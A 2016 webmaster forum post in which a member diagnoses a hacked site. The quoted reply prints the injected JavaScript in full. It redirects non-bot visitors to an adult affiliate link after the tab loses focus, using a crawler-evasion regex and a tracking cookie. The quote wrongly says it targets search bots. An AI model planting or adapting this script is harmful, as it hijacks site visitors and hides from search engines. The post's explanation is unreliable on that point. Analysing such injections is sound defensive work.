View Single Post
Old 10-23-2016, 02:18 AM  
lezinterracial
Confirmed User
 
Industry Role:
Join Date: Jul 2012
Posts: 3,065
Quote:
Originally Posted by CyberSEO View Post
Here is the original code:

Code:
blur_started1 = null;
switch_flag1 = false;
window.onblur = function(){blur_started1 = setTimeout(function(){if(switch_flag1==false){var now = new Date();
now.setTime(now.getTime()+60*60*24*7*1000);
var re = new RegExp("(googlebot\/|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)", 'i');
if(!re.test(navigator.userAgent)&&document.cookie.indexOf("__potus001")==-1){document.cookie = "__potus001=1; expires="+now.toUTCString()+"; path=/";
if(Math.floor((Math.random()*10))<10){window.location.replace("http://go2click.org/go/2617/1")}}switch_flag1 = true}}, 5000)};
window.onfocus = function(){if(blur_started1){clearTimeout(blur_started1)};
It's a cloaker, which redirects SE bots to go2click.org/go/2617/1

P.S. Your site has been hacked.

Yep. the go2click redirects to iwantu.com/aff.php?dynamicpage=iwu_wlp_5st_tmr_a&a_bid=dc57a3 f7&utm_sub=opnfnl&utm_source=int&utm_medium=web&ut m_campaign=476cb13b&utm_content=2617&data2=06pvh21 bg0082


Thanks CyberSEO. Now, I have to figure out when and how they did it. Maybe some weak PHP on my part. I don't know
__________________
Live Sex Shows
lezinterracial is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote